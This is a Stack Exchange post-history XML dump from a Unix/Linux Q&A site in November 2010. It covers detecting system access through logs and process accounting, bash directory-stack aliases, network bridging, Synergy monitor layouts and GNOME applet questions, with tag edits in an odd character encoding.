  <row Id="9344" PostHistoryTypeId="3" PostId="4294" RevisionGUID="d8151a13-d5a7-4a83-a302-0b1f601b560d" CreationDate="2010-11-23T19:40:57.477" UserId="2781" Text="écentosàémakeàésubversionàépythonà" />
  <row Id="9346" PostHistoryTypeId="2" PostId="4295" RevisionGUID="c4d17f55-c668-4e7d-b0fe-6c39b3754da7" CreationDate="2010-11-23T20:33:26.260" UserId="885" Text="Is the other guy on to you? If he has physical access or root access, he can erase all his traces and even plant a bug to spy on *you*. On the other hand, some traces are a pain to erase, and it's hard to think of everything.&#xD;&#xA;&#xD;&#xA;Various things are already recorded in the system logs, typically in `/var/log` (some systems use a different location such as `/var/logs` or `/var/adm`). Under a normal configuration, all logins and mounts are recorded, amongst others. If you're worried about logs being erased, you can set up remote logging (how to do this depends on the syslog implementation, but it's generally one or two lines to change in a configuration file on the sender and on the receiver).&#xD;&#xA;&#xD;&#xA;If you or your distribution hasn't disabled this feature, every file has an **access time** (“atime”) which is updated whenever the file is read. (If the filesystem is mounted with the `noatime` or `relatime` option, the atime is not updated.) The atime can be faked with `touch -a`, but this updates the ctime, so it leaves a trace. (Even root cannot directly remove this trace, you need to bypass the filesystem code.)&#xD;&#xA;&#xD;&#xA;Various programs have a **session history**. It's easy to remove or fake, if the intruder remembered to do so. Bash keeps `~/.bash_history`, browsers tend to write lots of stuff in their profile directory, and so on. You may also find telling errors or warnings in `~/.xsession-errors` or `/var/log/Xorg.0.log` or other system-dependent location.&#xD;&#xA;&#xD;&#xA;Many unices have a [**process accounting**](http://en.wikipedia.org/wiki/Process_accounting)¹ feature. See for example the [GNU accounting utilities manual](http://www.gnu.org/software/acct/manual/html_mono/accounting.html), the entry in the [FreeBSD handbook](http://www.freebsd.org/doc/handbook/security-accounting.html) or the [Linux howto](http://tldp.org/HOWTO/Process-Accounting/) or the [Solaris guide](http://docs.sun.com/app/docs/doc/817-0403/sysresacctsetup-78801?l=en&amp;a=view). Once enabled, it records what user launched what process when (it logs `execve` calls), and perhaps a little more. There's a lot of interesting information it doesn't log, such as the files accessed by the process.&#xD;&#xA;&#xD;&#xA;If you want to monitor all accesses to a filesystem, you can provide it through [loggedfs](http://sourceforge.net/projects/loggedfs/). It's very easy to notice if the guy thinks to look.&#xD;&#xA;&#xD;&#xA;There are more comprehensive logging programs, but they might require additional kernel support. On Solaris, FreeBSD, NetBSD and Mac OS X, there is [dtrace](http://en.wikipedia.org/wiki/DTrace) (there's a Linux port in progress but I don't know if it's reached a usable stage). You can also trace specific processes through an interface to the `ptrace` system call, for example `strace` on Linux; it may induce a noticeable slowdown.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; Something that's not in Wikipedia? Nah, that's crazy talk. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="9347" PostHistoryTypeId="6" PostId="4275" RevisionGUID="947e38d1-7560-4f67-ad0a-1d0c3fe31f26" CreationDate="2010-11-23T20:33:42.280" UserId="885" Comment="edited tags" Text="ésecurityàémonitoringàélogsàéforensicsà" />
  <row Id="9348" PostHistoryTypeId="6" PostId="3504" RevisionGUID="9f746b54-ba20-48c9-a7fd-f1a8ee911934" CreationDate="2010-11-23T21:05:47.263" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàénetworkingàéroutingàéprivateönetworkà" />
  <row Id="9349" PostHistoryTypeId="6" PostId="4281" RevisionGUID="0538c952-093d-4337-891a-43eb68db3e07" CreationDate="2010-11-23T21:08:53.407" UserId="885" Comment="edited tags" Text="éubuntuàénetworkingàéusbàéiphoneàéconnectionösharingà" />
  <row Id="9350" PostHistoryTypeId="6" PostId="3108" RevisionGUID="59db71cc-0120-45a0-b630-b15427146228" CreationDate="2010-11-23T21:10:08.677" UserId="885" Comment="edited tags" Text="éubuntuàénetworkingàérhelàéconnectionösharingà" />
  <row Id="9351" PostHistoryTypeId="6" PostId="2833" RevisionGUID="381624b8-78d0-4650-a285-67c13a8c23f8" CreationDate="2010-11-23T21:11:36.180" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàédebianàéethernetà" />
  <row Id="9352" PostHistoryTypeId="6" PostId="2704" RevisionGUID="bcf66b11-92cf-48e8-b22a-25377d751b8c" CreationDate="2010-11-23T21:12:17.160" UserId="885" Comment="edited tags" Text="énetworkingàéiptablesàéqosà" />
  <row Id="9353" PostHistoryTypeId="6" PostId="2696" RevisionGUID="1d864264-dd73-467e-bda2-a05ff0e42d24" CreationDate="2010-11-23T21:12:40.297" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéroutingàébridgeà" />
  <row Id="9354" PostHistoryTypeId="6" PostId="1893" RevisionGUID="70130123-d879-4d5a-ae89-3ed690b826cf" CreationDate="2010-11-23T21:16:15.673" UserId="885" Comment="edited tags" Text="énetworkingàéaudioà" />
  <row Id="9355" PostHistoryTypeId="6" PostId="1427" RevisionGUID="6f1d1a1a-ea89-4295-a7be-5e976ad1b83c" CreationDate="2010-11-23T21:16:49.653" UserId="885" Comment="edited tags" Text="énetworkingàéfileöserveràésleepàéwakeöonölanà" />
  <row Id="9356" PostHistoryTypeId="6" PostId="1194" RevisionGUID="15c3721f-fcaf-458d-a5e3-b4216b0b43fe" CreationDate="2010-11-23T21:17:19.900" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéiptablesàéroutingàéipà" />
  <row Id="9357" PostHistoryTypeId="6" PostId="1072" RevisionGUID="675546e0-785a-44d7-8a87-1f3052663224" CreationDate="2010-11-23T21:18:07.467" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàépxeàéltspà" />
  <row Id="9358" PostHistoryTypeId="6" PostId="957" RevisionGUID="d407da9b-1262-4efe-8ea8-254f4bfc001e" CreationDate="2010-11-23T21:18:30.523" UserId="885" Comment="edited tags" Text="énetworkingàésambaàéautomountingàéfileösharingà" />
  <row Id="9359" PostHistoryTypeId="6" PostId="880" RevisionGUID="32bb45e5-47b9-4346-aa64-4f5dabb2f3b6" CreationDate="2010-11-23T21:19:16.950" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéusersàéiptablesàéroutingà" />
  <row Id="9360" PostHistoryTypeId="6" PostId="786" RevisionGUID="bf497447-49d2-43c4-b70f-45c6844854d2" CreationDate="2010-11-23T21:20:04.703" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàésecurityàéutilitiesàémonitoringà" />
  <row Id="9361" PostHistoryTypeId="6" PostId="272" RevisionGUID="a5c0ba72-4f04-4d02-bcab-be2e7403bb04" CreationDate="2010-11-23T21:20:27.090" UserId="885" Comment="edited tags" Text="énetworkingàéfileösharingà" />
  <row Id="9362" PostHistoryTypeId="6" PostId="2281" RevisionGUID="3649fbd1-d198-493e-aa5b-af42895ee9f1" CreationDate="2010-11-23T21:21:33.937" UserId="885" Comment="edited tags" Text="énetworkingàéprocessàélsofà" />
  <row Id="9363" PostHistoryTypeId="6" PostId="17" RevisionGUID="66c15906-1fed-4a91-8e45-38eaf67e19c7" CreationDate="2010-11-23T21:21:51.003" UserId="885" Comment="edited tags" Text="énetworkingàéprocessàéfreebsdà" />
  <row Id="9364" PostHistoryTypeId="6" PostId="1424" RevisionGUID="e41aa55d-907e-4941-b44c-7f9678bf2819" CreationDate="2010-11-23T21:24:43.480" UserId="885" Comment="edited tags" Text="éprocessàémemoryàélimità" />
  <row Id="9365" PostHistoryTypeId="6" PostId="893" RevisionGUID="5665366f-6023-4069-ae08-66c06b3d7e3c" CreationDate="2010-11-23T21:25:22.543" UserId="885" Comment="edited tags" Text="écommandölineàéshellàéprocessàéipcà" />
  <row Id="9366" PostHistoryTypeId="6" PostId="2048" RevisionGUID="933da42a-2173-43ce-add6-558ac2a15d1f" CreationDate="2010-11-23T21:27:42.540" UserId="885" Comment="edited tags" Text="éprocessàébootàécronà" />
  <row Id="9367" PostHistoryTypeId="6" PostId="3340" RevisionGUID="fb260547-8a6d-4b99-a16e-6555f31d51be" CreationDate="2010-11-23T21:28:59.030" UserId="885" Comment="edited tags" Text="éprocessàémonitoringàéprocessömanagementà" />
  <row Id="9368" PostHistoryTypeId="6" PostId="2354" RevisionGUID="2f50680a-a3a2-4fb8-b99c-dee8877c93e6" CreationDate="2010-11-23T21:29:09.823" UserId="885" Comment="edited tags" Text="éusbàémonitoringà" />
  <row Id="9369" PostHistoryTypeId="6" PostId="554" RevisionGUID="b693b7c1-6a95-4dec-9b0f-436e59917146" CreationDate="2010-11-23T21:29:20.870" UserId="885" Comment="edited tags" Text="éshellàéprocessàémonitoringàétopà" />
  <row Id="9370" PostHistoryTypeId="2" PostId="4296" RevisionGUID="401cd8b5-4ff4-40c7-98af-d6db936ddd7e" CreationDate="2010-11-23T22:09:51.240" UserId="2781" Text="Removing -lneon solves this for me." />
  <row Id="9371" PostHistoryTypeId="5" PostId="4291" RevisionGUID="3f61c192-7654-47d1-9d29-076b9ddfb63c" CreationDate="2010-11-24T00:59:20.357" UserId="2712" Comment="added 32 characters in body" Text="Personally, I have these in my bashrc and use them all the time:&#xD;&#xA;&#xD;&#xA;    pushd()&#xD;&#xA;    {&#xD;&#xA;      if [ $# -eq 0 ]; then&#xD;&#xA;        DIR=&quot;${HOME}&quot;&#xD;&#xA;      else&#xD;&#xA;        DIR=&quot;$1&quot;&#xD;&#xA;      fi&#xD;&#xA;&#xD;&#xA;      builtin pushd &quot;${DIR}&quot; &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    pushd_builtin()&#xD;&#xA;    {&#xD;&#xA;      builtin pushd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    popd()&#xD;&#xA;    {&#xD;&#xA;      builtin popd &gt; /dev/null&#xD;&#xA;      echo -n &quot;DIRSTACK: &quot;&#xD;&#xA;      dirs&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    alias cd='pushd'&#xD;&#xA;    alias back='popd'&#xD;&#xA;    alias flip='pushd_builtin'&#xD;&#xA;&#xD;&#xA;You can then navigate around on the command-line a bit like a browser. `cd` changes the directory. `back` goes to the previous directory that you `cd`ed from. And `flip` will move between the current and previous directories without popping them from the directory stack. Overall, it works great.&#xD;&#xA;&#xD;&#xA;The only real problem that I'm aware of is the fact that it's then a set of commands that I'm completely used to but don't exist on anyone else's machine. So, if I have to use someone elses machine, it can be a bit frustrating. If you're used to just using `pushd` and `popd` directly, you don't have that problem. And while if you just alias `cd` put not `popd`, you won't have the issue of `back` not existing, you'll still have the problem that `cd` doesn't do quite what you expect on other machines.&#xD;&#xA;&#xD;&#xA;I would note, however, that your particular implementation of `cd` as you give it doesn't quite work like `cd` in that the normal `cd` by itself will go to your home directory, but yours doesn't. The version that I have here doesn't have that problem. Mine also appends `DIRSTACK` onto the front of the `dirs` print out, but that's more a matter of personal taste more than anything.&#xD;&#xA;&#xD;&#xA;So, as I said, I use these aliases all the time and have no problem with them. It's just that it can be a bit frustrating to have to use another machine and then find them not there (which shouldn't be surprising, but they're one of those things that you use so often that you don't think about them, so having them not work like you're used to can still be surprising)." />
  <row Id="9372" PostHistoryTypeId="2" PostId="4297" RevisionGUID="918f8b9f-33ae-4486-92a3-60c7c3137de8" CreationDate="2010-11-24T01:26:48.607" UserId="2784" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am migrating to Linux and have some experience with the Mac OS X command line/bash.  I'd like to automate system admin tasks via scripting, but I am unsure as which language is the most used in the real world: bash shell scripting, Perl or Python ?  Which should I learn (if more than one, what order) ?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Scott" />
  <row Id="9373" PostHistoryTypeId="1" PostId="4297" RevisionGUID="918f8b9f-33ae-4486-92a3-60c7c3137de8" CreationDate="2010-11-24T01:26:48.607" UserId="2784" Text="Which scripting language is most widespread in system administration tasks ?" />
  <row Id="9374" PostHistoryTypeId="3" PostId="4297" RevisionGUID="918f8b9f-33ae-4486-92a3-60c7c3137de8" CreationDate="2010-11-24T01:26:48.607" UserId="2784" Text="ébashàéscriptingàéshellöscriptàépythonàéperlà" />
  <row Id="9375" PostHistoryTypeId="10" PostId="4297" RevisionGUID="e78e3598-1e9d-45f8-83f8-dd4cb6f649bf" CreationDate="2010-11-24T01:39:03.163" UserId="29" CloseReasonId="3" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="9376" PostHistoryTypeId="2" PostId="4298" RevisionGUID="f56ab1ee-8a6b-4c31-a9c6-094f0f55403d" CreationDate="2010-11-24T02:26:09.243" UserId="2785" Text="I am trying to set up a temporary network using the following hardware&#xD;&#xA;&#xD;&#xA;    [Wireless Router]))) )) ) [laptop] ----- [Desktop]&#xD;&#xA;                        ^wifi (debian)  ^ethernet   ^(3com Audrey)&#xD;&#xA;&#xD;&#xA;Looking around online, I found what might be two solutions:&#xD;&#xA;&#xD;&#xA;1) On the laptop (running debian) set up a NAT using iptables&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;2) Use parprouted&#xD;&#xA;&#xD;&#xA;I've read online that the first solution won't work because there are problems translating addresses because of the difference in MAC addresses between the eth0 and wlan0 connections, so I'm leaning toward the 2nd.  &#xD;&#xA;&#xD;&#xA;What I want to know is:&#xD;&#xA;&#xD;&#xA; 1. Would either of these methods be better than the other, (and/or should I use a different approach)?&#xD;&#xA;  &#xD;&#xA; 2. Is there an easy way to back up my settings in case I screw something up?&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9377" PostHistoryTypeId="1" PostId="4298" RevisionGUID="f56ab1ee-8a6b-4c31-a9c6-094f0f55403d" CreationDate="2010-11-24T02:26:09.243" UserId="2785" Text="Setting up a wireless to ethernet bridge" />
  <row Id="9378" PostHistoryTypeId="3" PostId="4298" RevisionGUID="f56ab1ee-8a6b-4c31-a9c6-094f0f55403d" CreationDate="2010-11-24T02:26:09.243" UserId="2785" Text="énetworkingàédebianàéwifià" />
  <row Id="9379" PostHistoryTypeId="2" PostId="4299" RevisionGUID="db91d0b6-73f9-494b-8ea4-71f1823555fe" CreationDate="2010-11-24T04:06:36.053" UserId="1571" Text="If anyone doesn't know about [synergy][1], it's basically a KVM switch over the lan, but you don't have to switch anything. It allows you to move your mouse from one machine to the other like if you had dual monitors.&#xD;&#xA;&#xD;&#xA;My question is: is it possible to set up your config so that you have 1 server and 1 client, both have dual monitors, but the client machine has its monitors such that one is on the left of the server's left monitor, and the other is on the right of the server's right monitor? So for example:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;------------  -----------  ------------  -------------&#xD;&#xA;|  client  |  | server  |  | server   |  | client    |&#xD;&#xA;|  screen1 |  | screen1 |  | screen2  |  | screen2   |&#xD;&#xA;|          |  |         |  |          |  |           |&#xD;&#xA;|----------|  |---------|  |----------|  |-----------|&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Hopefully my ascii is good enough to understand.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The reason I ask here is because both machines will be running linux, and I'm fairly certain that there's no supported way to do this in the synergy configs.&#xD;&#xA;&#xD;&#xA;But I am completely willing to muck with X configs on the client to get it to work. I would set this up so that the only way the client could be used is through this synergy setup, so any X mucking won't have to be changed.&#xD;&#xA;&#xD;&#xA;How synergy config works is that on your server, you give it the configuration of your screens. So you'll say client1 is right of server, and server is left of client1. What I was thinking is, is there a way to somehow make X think each display is connected on a different server. So I could say like clientS1(192.168.1.1:1234) is left of server. And clientS2(192.168.1.1:1235) is right of server. And X will know which screen it is?&#xD;&#xA;&#xD;&#xA;I'm sure that last paragraph is confusing, but maybe someone who knows more about synergy or X can point me in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://synergy-foss.org/" />
  <row Id="9380" PostHistoryTypeId="1" PostId="4299" RevisionGUID="db91d0b6-73f9-494b-8ea4-71f1823555fe" CreationDate="2010-11-24T04:06:36.053" UserId="1571" Text="Unique synergy monitor setup" />
  <row Id="9381" PostHistoryTypeId="3" PostId="4299" RevisionGUID="db91d0b6-73f9-494b-8ea4-71f1823555fe" CreationDate="2010-11-24T04:06:36.053" UserId="1571" Text="éxorgàémultiömonitorà" />
  <row Id="9382" PostHistoryTypeId="2" PostId="4300" RevisionGUID="cf87365b-2580-46e1-a660-a8fe9103a7c7" CreationDate="2010-11-24T06:58:07.793" UserId="1327" Text="This can't be done with the configs yet. ( or at least last time I checked )...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The closest you'll get to a sollution, _without hacking into X_, is to configure you screens like this:&#xD;&#xA;&#xD;&#xA;    ------------  -----------&#xD;&#xA;    |  server  |  | server  |&#xD;&#xA;    |  screen1 |  | screen2 |&#xD;&#xA;    |          |  |         |  &#xD;&#xA;    |----------|  |---------|  &#xD;&#xA;    &#xD;&#xA;    ------------  ----------- &#xD;&#xA;    |  client  |  | client  | &#xD;&#xA;    |  screen1 |  | screen2 | &#xD;&#xA;    |          |  |         | &#xD;&#xA;    |----------|  |---------| &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; And then stack them out like you wanted. Will make life a bit confusing at first, but **you will get used to it**.&#xD;&#xA;&#xD;&#xA;If you on the center two screens, you will have to move your mouse up to get to the outer screens. And then down to get back to the center screens.&#xD;&#xA;&#xD;&#xA;Have Fun and Good Luck!&#xD;&#xA;" />
  <row Id="9383" PostHistoryTypeId="2" PostId="4301" RevisionGUID="98e3f6ce-027b-41a9-b361-935c656c1bb5" CreationDate="2010-11-24T07:52:04.030" UserId="2655" Text="Additionally to the already named Ubuntu-documentation and manual use http://askubuntu.com/." />
  <row Id="9384" PostHistoryTypeId="2" PostId="4302" RevisionGUID="37034865-1a6b-408d-8a78-f3f5ebdc458f" CreationDate="2010-11-24T08:10:26.520" UserId="2421" Text="This isn't a direct answer to the question, but I fell in love with the directory history window in 4DOS.  So much so that I wrote my own version for Linux (and Cygwin).  I've never gotten around to making it an easy-to-install utility, but if you know your way around a Bash prompt, it shouldn't be _that_ hard to get running.  Your question inspired me to put it into a Git repo and upload it to GitHub: [dirhistory][1].&#xD;&#xA;&#xD;&#xA;Basically, it's a daemon that collects directory changes from all your shells, and a Cdk program that displays the history and lets you pick any directory to switch to (so you're not limited to a stack).  I find it really useful, and have it bound to Shift-PageUp, just like 4DOS did.  (I even patched PuTTY so it would send Shift-PageUp to Bash.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/madsen/dirhistory" />
  <row Id="9385" PostHistoryTypeId="5" PostId="4302" RevisionGUID="0ae7bbd0-8233-417f-8157-14ed72227fe4" CreationDate="2010-11-24T08:19:08.140" UserId="2421" Comment="deleted 2 characters in body" Text="This isn't a direct answer to the question, but I fell in love with the directory history window in 4DOS.  So much so that I wrote my own version for Linux (and Cygwin).  I've never gotten around to making it an easy-to-install utility, but if you know your way around a Bash prompt, it shouldn't be _that_ hard to get running.  Your question inspired me to put it into a Git repo and upload it to GitHub: [dirhistory][1].&#xD;&#xA;&#xD;&#xA;Basically, it's a daemon that collects directory changes from all your shells, and a Cdk program that displays the history and lets you pick any directory to switch to (so you're not limited to a stack).  I find it really useful, and have it bound to Ctrl-PageUp, just like 4DOS did.  (I even patched PuTTY so it would send Ctrl-PageUp to Bash.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/madsen/dirhistory" />
  <row Id="9386" PostHistoryTypeId="2" PostId="4303" RevisionGUID="44037885-87b0-4e84-8866-f0ab2066d8b5" CreationDate="2010-11-24T10:01:57.077" UserId="1144" Text="I'm a little confused by what you are trying to do. You don't make it clear whether you are trying to extend an existing wireless network to include devices on your ethernet device or whether you are trying to create a new subnet and use NAT to hide this from the wireless router. The good news is that both are possible and are fairly simple.&#xD;&#xA;&#xD;&#xA;Personally if you are just wanting to temporarily make a few devices accessible via the wireless router I would tend to go via the bridge route. That way your existing wireless router will handle IP address assignment etc. The instructions for setting up a new subnet are a little more involved because you will likely need to setup a dhcp server on your laptop too.&#xD;&#xA;&#xD;&#xA;Answering your 2nd question you can do most of this direct from the commandline on an adhoc basis. That way if you mess things up a simple reboot would restore your original settings.&#xD;&#xA;&#xD;&#xA;To use the bridge approach you need to install the bridge-utils package on Debian&#xD;&#xA;&#xD;&#xA;    apt-get install bridge-utils&#xD;&#xA;&#xD;&#xA;Note you might need to prefix the line with *sudo* if you do not have a terminal window open as the root user.&#xD;&#xA;&#xD;&#xA;Once you have bridge-utils installed then look at */usr/share/doc/bridge-utils/HOWTO* and the other documents in that directory they give you a good explanation of how to set things up.&#xD;&#xA;&#xD;&#xA;Note one issue you may have to workaround is if you are using network manager to manage your networks on the laptop. That can tend to override what you do on the commandline you might need to temporarily stop it managing the wireless and wired interfaces on your laptop whilst you setup the bridge." />
  <row Id="9387" PostHistoryTypeId="2" PostId="4304" RevisionGUID="538578b5-c5ab-477e-bee5-0eff31854cf5" CreationDate="2010-11-24T10:07:59.040" UserDisplayName="zeroseventeen" Text="MPD allow for streaming audio over http, just not setup by default. The limitation is that MPD streams from your MPD audio library, where as a sound server will allow you to stream any audio on the computer. " />
  <row Id="9388" PostHistoryTypeId="2" PostId="4305" RevisionGUID="3c10b451-fa91-42f2-8e9d-a2c1388524f8" CreationDate="2010-11-24T11:11:12.813" UserId="688" Text="I'm running GNOME 2.30 (Squeeze) and have lost my volume (loudness) control applet. I can't find it in my &quot;Add to Panel&quot; window.&#xD;&#xA;&#xD;&#xA;![alt text][1]png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/RtlDV.png" />
  <row Id="9389" PostHistoryTypeId="1" PostId="4305" RevisionGUID="3c10b451-fa91-42f2-8e9d-a2c1388524f8" CreationDate="2010-11-24T11:11:12.813" UserId="688" Text="How to get volume applet back?" />
  <row Id="9390" PostHistoryTypeId="3" PostId="4305" RevisionGUID="3c10b451-fa91-42f2-8e9d-a2c1388524f8" CreationDate="2010-11-24T11:11:12.813" UserId="688" Text="égnomeàédebianà" />
  <row Id="9391" PostHistoryTypeId="2" PostId="4306" RevisionGUID="83af5b8c-745b-49b4-a097-ceec01ffb148" CreationDate="2010-11-24T11:40:05.377" UserId="2000" Text="What if you switch client screen1 with 2 ?   &#xD;&#xA;`------------  -----------  ------------  -------------   &#xD;&#xA;|  client  |  | server  |  | server   |  | client    |   &#xD;&#xA;|  screen2 |  | screen1 |  | screen2  |  | screen1   |   &#xD;&#xA;|----------|  |---------|  |----------|  |-----------|   &#xD;&#xA;`&#xD;&#xA;   &#xD;&#xA;This way you are able to set the right of cl scr2 to left of srv scr1 and leftof cl scr1 to right of srv scr 2. Then, if you need, you can just move your taskbar to the desired screen and set the DE's behavior to open new windows on the screen where the mouse cursor is located.&#xD;&#xA;&#xD;&#xA;I had a similar setup, with the only exception that in the middle was a client with a single display and server with 2 screens on left and right... or something like this. " />
  <row Id="9392" PostHistoryTypeId="4" PostId="4305" RevisionGUID="057bf6bd-2c01-4472-96cb-3db8a5fb25a8" CreationDate="2010-11-24T11:47:02.780" UserId="688" Comment="clarity" Text="How to get GNOME volume applet back?" />
  <row Id="9395" PostHistoryTypeId="2" PostId="4308" RevisionGUID="a04cf41c-906f-4021-b6cf-a2c830b0c7d6" CreationDate="2010-11-24T12:42:46.867" UserId="2626" Text="**Add to Panel &gt; Indicator Applet**&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/ur1Et.png" />
  <row Id="9396" PostHistoryTypeId="5" PostId="4261" RevisionGUID="ed39f07a-16b1-4086-a60e-d458b5ea305f" CreationDate="2010-11-24T12:45:12.870" UserId="1452" Comment="added 173 characters in body; edited tags; edited title" Text="My internet connection used to be a direct LAN connection to my provider. Back then, everything would load fine on both Windows and Ubuntu (dual boot). However, a while ago they started needing me to dial (PPPoE) using a username and password. Gateway, subnet mask, IP, DNS servers all stayed the same. But since then, I haven't been able to browse certain websites on Ubuntu, even though there have been no such issues on Windows. Some example websites are - [Ovi's sign in page][1] (although share.ovi.com loads fine, and nokia.com loads fine), [Live Mail][2] (works on Chrome(ium) and Opera but not on Firefox (both 3.6 and 4)) Mozilla [Addons website][3] and other random websites.&#xD;&#xA;&#xD;&#xA;Some of the websites that don't load show timeout messages and for some websites (like the moz addons one), the browser will keep trying to load without an end (I've left it like that even for hours but not noticed anything different happen).&#xD;&#xA;&#xD;&#xA;I have tried changing the DNS servers to public ones. I have even tried booting from a Fedora LiveCD and _then_ changing the DNS to those (and even to the ones of OpenDNS), but the exact same thing happens. What could be inherently wrong with some config within Linux itself that is causing this problem?&#xD;&#xA;&#xD;&#xA;Does anyone know why this is happening and how it can be fixed?&#xD;&#xA;&#xD;&#xA;_Note: This question has been [cross-posted][5] on SU, but not gotten any responses._&#xD;&#xA;&#xD;&#xA;**Update:** Just saw here http://ubuntuforums.org/showthread.php?t=1571086&amp;highlight=pppoe that someone else was having similar problem and solved it by putting a NetworkManager.conf file in /etc/NetworkManager. What needs to be in that file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://share.ovi.com/signin&#xD;&#xA;  [2]: http://mail.live.com&#xD;&#xA;  [3]: http://addons.mozilla.org&#xD;&#xA;  [5]: http://superuser.com/questions/213264/cant-access-select-websites-on-linux-but-can-on-windows" />
  <row Id="9397" PostHistoryTypeId="4" PostId="4261" RevisionGUID="ed39f07a-16b1-4086-a60e-d458b5ea305f" CreationDate="2010-11-24T12:45:12.870" UserId="1452" Comment="added 173 characters in body; edited tags; edited title" Text="Can't access select https sites on Linux over PPPoE" />
  <row Id="9398" PostHistoryTypeId="6" PostId="4261" RevisionGUID="ed39f07a-16b1-4086-a60e-d458b5ea305f" CreationDate="2010-11-24T12:45:12.870" UserId="1452" Comment="added 173 characters in body; edited tags; edited title" Text="élinuxàénetworkingàéinternetàésslà" />
  <row Id="9399" PostHistoryTypeId="5" PostId="4308" RevisionGUID="8a43552d-c76f-4e2e-a591-6b6d3f1b8b16" CreationDate="2010-11-24T12:53:58.463" UserId="2626" Comment="added 198 characters in body" Text="**Add to Panel &gt; Indicator Applet**&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**OR** &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;F2&lt;/kbd&gt;  and run this:  `gnome-volume-control-applet`&#xD;&#xA;&#xD;&#xA;- Also, add `gnome-volume-control-applet` to **System &gt; Preferences &gt; Startup Applications**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/9b57t.png" />
  <row Id="9400" PostHistoryTypeId="12" PostId="4308" RevisionGUID="1028d28d-915e-42c3-8320-9159202dbcab" CreationDate="2010-11-24T12:55:46.543" UserId="2626" Text="[{&quot;Id&quot;:2626,&quot;DisplayName&quot;:&quot;iamsid&quot;}]" />
  <row Id="9401" PostHistoryTypeId="2" PostId="4309" RevisionGUID="73bd35f4-7ab2-4339-ac18-4f527512d903" CreationDate="2010-11-24T13:50:57.213" UserId="1946" Text="I guess it is now under 'Indicator applet' or something like that.  Lost my too, but got it back." />
  <row Id="9402" PostHistoryTypeId="2" PostId="4310" RevisionGUID="c9d5a613-e012-411c-ada4-9bb33650b579" CreationDate="2010-11-24T14:10:23.840" UserId="2792" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am using OpenBox WM and I am looking for some simple **dock** application (that could be used along with OpenBox) that has this icon &quot;pinning&quot; feature. It can be also **panel**. So far I have found this:&#xD;&#xA;&#xD;&#xA;Docky - its quite fine but it needs compositing manager&#xD;&#xA;&#xD;&#xA;wbar - compiles but not working for me (does not appear) and I am not sure if it has the &quot;pin&quot; feature&#xD;&#xA;&#xD;&#xA;Any tips?" />
  <row Id="9403" PostHistoryTypeId="1" PostId="4310" RevisionGUID="c9d5a613-e012-411c-ada4-9bb33650b579" CreationDate="2010-11-24T14:10:23.840" UserId="2792" Text="Looking for a simpl X Window panel/dock with icon &quot;pinning&quot; feature from Windows 7" />
  <row Id="9404" PostHistoryTypeId="3" PostId="4310" RevisionGUID="c9d5a613-e012-411c-ada4-9bb33650b579" CreationDate="2010-11-24T14:10:23.840" UserId="2792" Text="éxorgàéunixàéopenboxà" />
  <row Id="9405" PostHistoryTypeId="2" PostId="4311" RevisionGUID="9282d754-86ce-41c0-80c5-fe3529be347c" CreationDate="2010-11-24T14:32:39.517" UserId="2163" Text="Hi&#xD;&#xA;&#xD;&#xA;Can someone suggest a RHEL-like distribution that can install from a single CD? I am looking for a distribution where services are started from `/etc/init.d`, environment variables are set from scripts in `/etc/profile.d` and so-on (meaning that Ubuntu doesn't do the job).&#xD;&#xA;&#xD;&#xA;A network installer isn't an option...&#xD;&#xA;&#xD;&#xA;I think in terms of the OS's behaviour, CentOS would do the trick, except I can't find a single CD installation.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Rich" />
  <row Id="9406" PostHistoryTypeId="1" PostId="4311" RevisionGUID="9282d754-86ce-41c0-80c5-fe3529be347c" CreationDate="2010-11-24T14:32:39.517" UserId="2163" Text="Single CD install of a RHEL-like distribution?" />
  <row Id="9407" PostHistoryTypeId="3" PostId="4311" RevisionGUID="9282d754-86ce-41c0-80c5-fe3529be347c" CreationDate="2010-11-24T14:32:39.517" UserId="2163" Text="élinuxàéinstallàérhelà" />
